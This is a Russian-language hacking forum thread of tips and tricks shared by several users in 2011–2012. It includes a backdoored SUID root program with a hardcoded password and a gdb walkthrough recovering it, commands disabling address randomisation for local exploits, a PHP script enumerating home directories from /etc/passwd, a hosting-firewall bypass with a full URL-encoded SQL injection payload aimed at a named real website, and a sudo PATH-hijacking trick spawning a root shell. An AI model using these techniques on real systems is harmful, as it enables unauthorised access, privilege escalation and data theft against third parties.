Старый 17.07.2011, 20:04   #41
.Slip
 
Аватар для .Slip
 
Регистрация: 30.06.2010
Сообщений: 49
По умолчанию

Частично уже описано в разных статьях, но такая таблица будет не лишней.

Отсюда: Http Parameter Contamination (HPC) Attack / Research Paper
.Slip вне форума   Ответить с цитированием
Старый 20.07.2011, 22:20   #42
Pashkela
 
Аватар для Pashkela
 
Регистрация: 05.07.2010
Сообщений: 1,243
По умолчанию

Если вы забыли пароль от "своего" суидника

например такого:

Код:
#include <stdio.h>
#include <stdlib.h>
main(int argc, char *argv[]) {
 // проверяем количество аргументов
 if(argc == 3){
 //проверяем наш пароль cool_hack
    if(strcmp(argv[1],"cool_hack") == 0){
       // Устанавливаем gid(0) r00t
       setgid(0);
       // Устанавливаем uid(0) r00t
       setuid(0);
       // Выполняем команды с установленными ранее правами
       system(argv[2]);
    }
 }
 return 0;
}
то его всегда можно вспомнить:

Цитата:
/*
pashkela@pashkela-desktop:~/Toolza/root/lvl9$ gdb -q suid
Reading symbols from /home/pashkela/Toolza/root/lvl9/suid...done.
(gdb) disas main <=== Дизассемблируем функцию main
Dump of assembler code for function main:
0x08048484 <main+0>: push %ebp
0x08048485 <main+1>: mov %esp,%ebp
0x08048487 <main+3>: and $0xfffffff0,%esp
0x0804848a <main+6>: sub $0x10,%esp
0x0804848d <main+9>: cmpl $0x3,0x8(%ebp)
0x08048491 <main+13>: jne 0x80484d7 <main+83>
0x08048493 <main+15>: mov 0xc(%ebp),%eax
0x08048496 <main+18>: add $0x4,%eax
0x08048499 <main+21>: mov (%eax),%eax
0x0804849b <main+23>: movl $0x80485a0,0x4(%esp)
0x080484a3 <main+31>: mov %eax,(%esp)
0x080484a6 <main+34>: call 0x80483bc <strcmp@plt> <=== адрес, где происходит вызов strcmp
0x080484ab <main+39>: test %eax,%eax
0x080484ad <main+41>: jne 0x80484d7 <main+83>
0x080484af <main+43>: movl $0x0,(%esp)
0x080484b6 <main+50>: call 0x80483ac <setgid@plt>
0x080484bb <main+55>: movl $0x0,(%esp)
0x080484c2 <main+62>: call 0x804839c <setuid@plt>
0x080484c7 <main+67>: mov 0xc(%ebp),%eax
0x080484ca <main+70>: add $0x8,%eax
0x080484cd <main+73>: mov (%eax),%eax
0x080484cf <main+75>: mov %eax,(%esp)
0x080484d2 <main+78>: call 0x804837c <system@plt>
0x080484d7 <main+83>: mov $0x0,%eax
0x080484dc <main+88>: leave
0x080484dd <main+89>: ret
End of assembler dump.
(gdb) b *0x080484a6 <===Ставим брекпоинт на адрес, где происходит вызов strcmp
Breakpoint 1 at 0x80484a6
(gdb) r ololo id <=== Запускаем суидник с паролем ololo и командой id
Starting program: /home/pashkela/Toolza/root/lvl9/suid ololo id

Breakpoint 1, 0x080484a6 in main () <=== Сработал брекпоинт
(gdb) x/8xw $esp <=== Смотрим ESP регистр
0xbffff390: 0xbffff5fa 0x080485a0 0x080484fb 0x0026eff4
0xbffff3a0: 0x080484f0 0x00000000 0xbffff428 0x00144b56

(gdb) x/ls 0x0026eff4 <=== И начинаем просто проглядывать все адреса поочереди
0x26eff4: "|\r\024"
(gdb) x/ls 0x00144b56
0x144b56 <__libc_start_main+230>: "\211\004$\350B\205\001"
(gdb) x/ls 0x080484fb
0x80484fb <__libc_csu_init+11>: "\201\303\371\032"
(gdb) x/ls 0xbffff428
0xbffff428: ""
(gdb) x/ls 0x080485a0
0x80485a0: "cool_hack" <==== Вот и пароль правильный
(gdb) x/ls 0x080484f0
0x80484f0 <__libc_csu_init>: "U\211\345WVS\350O"
(gdb) x/ls 0xbffff5fa
0xbffff5fa: "ololo" <==== А вот и тот пароль, который мы ввели
(gdb) x/ls 0xbffff3a0
0xbffff3a0: "\360\204\004\b"
(gdb) x/ls 0xbffff390
0xbffff390: "\372\365\377\277\240\205\004\b\373\204\004\b\364\ 357&"
(gdb) r cool_hack id <==== проверяем нашу догадку - запускаем прогу с паролем cool_hack
Starting program: /home/pashkela/Toolza/root/lvl9/suid cool_hack id
Breakpoint 1, 0x080484a6 in main ()
(gdb) s <=== Это сокращение от step, просто шагаем дальше, т.к. брекпоинт еще стоит
Single stepping until exit from function main,
which has no line number information.
uid=1000(pashkela) gid=1000(pashkela) группы=4(adm),20(dialout),24(cdrom),46(plugd ev),106(lpadmin),121(admin),122(sambashare),1000(p ashkela)
0x00144b56 in __libc_start_main () from /lib/tls/i686/cmov/libc.so.6
(gdb) Have fun
Pashkela вне форума   Ответить с цитированием
Старый 20.07.2011, 22:33   #43
nobody
 
Аватар для nobody
 
Регистрация: 05.07.2010
Сообщений: 176
Репутация: 130
По умолчанию

Код:
$ strings mega_suidnik
/lib64/ld-linux-x86-64.so.2
__gmon_start__
libc.so.6
setuid
system
setgid
strcmp
__libc_start_main
GLIBC_2.2.5
fff.
fffff.
l$ L
t$(L
|$0H
cool_hack
__________________
Sad panda
nobody вне форума   Ответить с цитированием
Старый 02.08.2011, 14:51   #44
SynQ
 
Регистрация: 11.07.2010
Сообщений: 954
Репутация: 352
По умолчанию

Basic Linux Privilege Escalation
Неплохой cheat-sheet по анализу сервера после получения шелла.

И еще:
Post Exploitation Command Lists для Win/Linux/MacOSX, прямые линки:
Linux, Windows, MacOSX

Последний раз редактировалось SynQ; 06.09.2011 в 10:05..
SynQ вне форума   Ответить с цитированием
Старый 30.10.2011, 11:34   #45
overxor
 
Регистрация: 14.10.2011
Сообщений: 73
Репутация: 90
По умолчанию

Отключение рандомизации адресного пространства и ASCII armor для пользователя.
Код:
ulimit -s unlimited // только 32 битные системы
Отлючение рандомизации для приложения
Код:
setarch i686 -R ./program // 32 битное приложение
setarch x86_64 -R ./program // 64 битное приложение
Полезно при написании локальных сплойтов.
overxor вне форума   Ответить с цитированием
Старый 18.11.2011, 14:36   #46
RoD
 
Аватар для RoD
 
Регистрация: 25.10.2010
Сообщений: 19
Репутация: 5
По умолчанию Определение захода на сайт через TOR

Код:
<?php

function GetReverseIP($ip){
	$res = explode('.', $ip);
	return $res[3].'.'.$res[2].'.'.$res[1].'.'.$res[0];
}

function IsTorExitNode(){
	$host_name = 	GetReverseIP($_SERVER['REMOTE_ADDR']).'.'.$_SERVER['SERVER_PORT'].'.'.
					GetReverseIP($_SERVER['SERVER_ADDR']).'.ip-port.exitlist.torproject.org';

	return gethostbyname($host_name) == '127.0.0.2';
}

echo IsTorExitNode()?'Вы работаете анонимно через ТOR!':'Вы работаете без TOR!';
RoD вне форума   Ответить с цитированием
Старый 16.12.2011, 14:44   #47
}{оттабыч
Banned
 
Регистрация: 08.10.2010
Сообщений: 188
Репутация: 53
По умолчанию

Надо было чекнуть httpdocs в etc/passwd на кривые chmod

PHP код:
<?

$lines 
file('/etc/passwd');
$httpdocs 'httpdocs';

foreach (
$lines as $line) {
    
preg_match("@([/].+):@"$line$matches);
    
$paths[] = $matches[1]; 
}

foreach (
$paths as $path) {
    
$fullPath $path '/' $httpdocs;
    if ( 
chdir$fullPath 
        
/* && is_readable( $fullPath ) */ 
        /* && is_writable ( $fullPath ) */ 
    
) {
        
$result[] = $fullPath;
    }        
}

echo 
"<pre>";
print_r($result);
echo 
"</pre>";
}{оттабыч вне форума   Ответить с цитированием
Старый 24.01.2012, 18:56   #48
}{оттабыч
Banned
 
Регистрация: 08.10.2010
Сообщений: 188
Репутация: 53
По умолчанию

Выделить все чекбоксы через пресводопротокол javascript

javascript:var o=document.forms[0].elements;for(var i=0;i<o.length;i++)if(o[i].type=="checkbox"){o[i].setAttribute("checked", "checked")}

Для работы выбрать нужную форму!
}{оттабыч вне форума   Ответить с цитированием
Старый 30.01.2012, 04:59   #49
Boolean
 
Регистрация: 19.10.2011
Сообщений: 111
Репутация: 34
По умолчанию

опубликую мои мини исследования защиты от peterhost.ru
Стоит фильтр на union select. Фильтруются как GET, так и POST параметры. Если скрипт использует _REQUEST, то можно без проблем юзать _COOKIE(cookies)

Фильтр в виде регулярки выглядит как-то так: /union(.*)select/is

Код:
www.fotodi.ru/books-text.php?id=224+union+select [redirect]
www.fotodi.ru/books-text.php?id=224+union/**/select [redirect]
www.fotodi.ru/books-text.php?id=224+union%0Aselect [redirect]
www.fotodi.ru/books-text.php?id=224+unionselect [noredirect]
www.fotodi.ru/books-text.php?id=224+uniON%20/*SeLEcT*/ [redirect]
www.fotodi.ru/books-text.php?id=224+uniON!@%23$%^&*()_{}:%22%3C%3E?/*SeLEcT*/ [recirect]
www.fotodi.ru/books-textUNION.php?id=224&seleCt [recirect] //lol.
Но всё же решение было найдено - «полное урл кодирование».
PHP код:
//peterhost.php:
<?php
for( $i 0$i <= strlen($_REQUEST['plain']) - 1
    print 
'%'.bin2hex($_REQUEST['plain'][$i++]) );
?>
//end.
//usage:
// /peterhost.php?plain=and 11=3 union select 1,2,3,4,5,6,7,8,9 -- 1
PoC:
Код:
www.fotodi.ru/books-text.php?id=224'+%61%6e%64%20%31%31%3d%33%20%75%6e%69%6f%6e%20%73%65%6c%65%63%74%20%31%2c%32%2c%33%2c%34%2c%35%2c%36%2c%37%2c%38%2c%39%20%2d%2d%20%31
__________________
|
Boolean вне форума   Ответить с цитированием
Старый 09.02.2012, 14:40   #50
overxor
 
Регистрация: 14.10.2011
Сообщений: 73
Репутация: 90
По умолчанию Трюк с переменной окружения PATH

Если пользователю через sudo доступно запускать приложение по относительному пути, либо приложения или скрипты, которые может запустить пользователь, запускают другие команды по относительному пути
и в конфиге /etc/sudoers не заданы параметры Defaults env_reset и Defaults secure_path, то можно с помощью подмены переменной PATH запустить шел с повышенными привилегиями.
Пример конфига
Цитата:
...
user ALL=(pwd) NOPASSWD: ALL
...
либо
Цитата:
...
user ALL=(/usr/local/bin/checklog.sh) NOPASSWD: ALL
...
Содержимое checklog.sh
Цитата:
#!/bin/sh
cat /path/log.file
для первого случая создаем симлинк
ln -s /bin/sh pwd
Для второго нам нужен врапер, дабы избежать нежелательных аргуменов.
Код:
#include <unistd.h>
int main(void)
{ return system("/bin/sh"); }
компилируем его как cat
export PATH=$PWD:$PATH // первым идёт наш путь

1)sudo pwd
2)sudo /usr/local/bin/checklog.sh
В итоге наш шел запустится раньше, т.к. находится первым в списке.
Тоже самое относится и к суидным программам.
Функции использующие поиск по PATH перед запуском:
execlp
execvp
__________________
[IO]
overxor вне форума   Ответить с цитированием
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2021, Jelsoft Enterprises Ltd. Перевод: zCarot